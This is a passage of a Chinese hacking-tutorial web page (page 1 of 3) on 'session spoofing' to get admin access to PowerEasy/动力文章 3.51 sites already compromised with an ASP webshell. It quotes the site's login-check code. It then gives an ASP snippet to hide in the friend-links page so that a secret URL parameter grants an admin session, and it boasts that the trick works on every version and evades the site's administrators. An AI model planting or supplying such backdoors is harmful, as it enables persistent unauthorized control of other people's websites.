| 网站首页 | 硬件维修 | 应用学院 | 网络组建 | 网站制作 | 菜鸟黑客 | 编程之道 | 数码大全 | 娱乐休闲 | 软件下载 | 在线视频 | 请您留言 | 技术论坛 | 
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
  • 如何一次性删掉木马

  • 木马是怎样突破QQ防御中心的

  • 巧妙解救被“绑架”的浏览器

  • 用Windows自带工具打造“免检…

  • 怀疑PC安装木马？学学网络安…

  • 关于木马隐藏一个的新方法

  • 让木马不在兴风作浪：解析木…

  • 服务器如何防范asp木马

  • 动态嵌入式DLL木马发现与清除

  • 黑客种植木马的方法及防范策…

    		•
    Q
    您现在的位置： 我是IT人 >> 菜鸟黑客 >> 黑客攻防 >> 文章正文
    [组图]巧妙配合asp木马取得管理权限           
    巧妙配合asp木马取得管理权限
    作者：网络 文章来源：转载 点击数： 更新时间：2006-1-20
    [ 字体：缩小 正常 放大 | 双击自动滚屏 ]
    请选择合适的字体颜色：
      　　前段时间泛滥成灾的动网论坛上传漏洞以及最近接二连三的各种asp系统暴露的上传漏洞，可能很多朋友手中有了很多webshell的肉鸡，至于选择怎么样这些小鸡的方式也是因人而异，有人继续提升权限，进一步入侵，也有人只是看看，马儿放上去了过了就忘记了，也有一些朋友，当webshell的新鲜劲儿过去了后台的神秘感和诱惑力也就大大增加。

    其实，对很多功能强大的系统而言，拿到后台也就是拿到了一个好的后门了，呵呵............但是现在比较新的版本的很多asp系统密码都是MD5加密然后配合严格的验证程序来验证的，但是我们就没有办法突破这些限制了吗？no!我今天就是要说怎么突破这些限制让我们直奔后台，有马儿厩是好办事，follow me............

    　　session欺骗篇

    　　首先简单说一下一般asp系统的身份验证原理。

    　　一般来说，后台管理员在登录页面输入账号密码后，程序会拿着他提交的用户名密码去数据库的管理员表里面找，如果有这个人的账号密码就认为你是管理员，然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来，然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较，如果相等，就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值，如果是管理员就让你通过，不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告，这些都跟程序员的个人喜好有关。

    　　知道了原理，我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session，这样的话尽管我们没有管理员密码，但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明，本文仅以动力文章系统为例来说明。

    　　动力文章系统3.51，（图一）　　　　

    　　


    　　图一

    　　其实动力文章系统的所有版本全部通杀，包括动易。大家可以自己实践一下。

    　　我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp

    　　，其验证内容如下：

    　　............

    　　else

    　　rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")

    　　 rs("LastLoginTime")=now()

    　　 rs("LoginTimes")=rs("LoginTimes")+1

    　　 rs.update

    　　 session.Timeout=SessionTimeout

    　　 session("AdminName")=rs("username")

    　　 rs.close

    　　 set rs=nothing

    　　 call CloseConn()

    　　 Response.Redirect "Admin_Index.asp"

    　　前面省略号是用户名密码不正确的验证，直到else，看一下，如果用户名密码正确就给你两个session值：

    　　session.Timeout=SessionTimeout

    　　session("AdminName")=rs("username")

    　　我们在看一下其他管理页面是怎么验证session的，admin_index.asp一开始就这样：

    　　

    　　看起来似乎很严密，但是我们看一下，它这里值验证一个AdminName的session，只要我们的session内容是AdminName的话不就可以通过了？好，我们开工，先去弄到它的管理员账号再说，这个不要我教你了吧？到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下，我找一个比较没人而内容较多的页面FriendSite.asp（友情链接页面）来改，呵呵，这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话：

    　　dim id

    　　id=trim(request("qwe"))

    　　if id="120" then

    　　session("AdminName")="admin" ‘这里是假设的，实际操作中可以改成你想要得管理员账号

    　　end if

    　　我简单说一下这句话的意思，就是说从地址栏取得hehe的值，如果hehe=120的话，那么系统就给我们一个值为admin的session。好了，我们输入看一下，图二：

    　　

    　　


    　　图二

    　　看到有什么异常吗，没有吧？还是正常页面，但是我们接着在地址栏中输入它的后台管理首页看看，是不是进去了？图三：

    [1] [2] [3] 下一页  
    文章录入：54iter    责任编辑：54iter 
  • 上一篇文章：

  • 下一篇文章：
    • 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】
    网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）
    | 设为首页 | 加入收藏 | 联系站长 | 关于我们 | 友情链接 | 版权申明 |

    版权所有：我是IT人 本站ICP备案序号:豫ICP备05025033号
    联系站长:admin@54iter.com QQ:6935841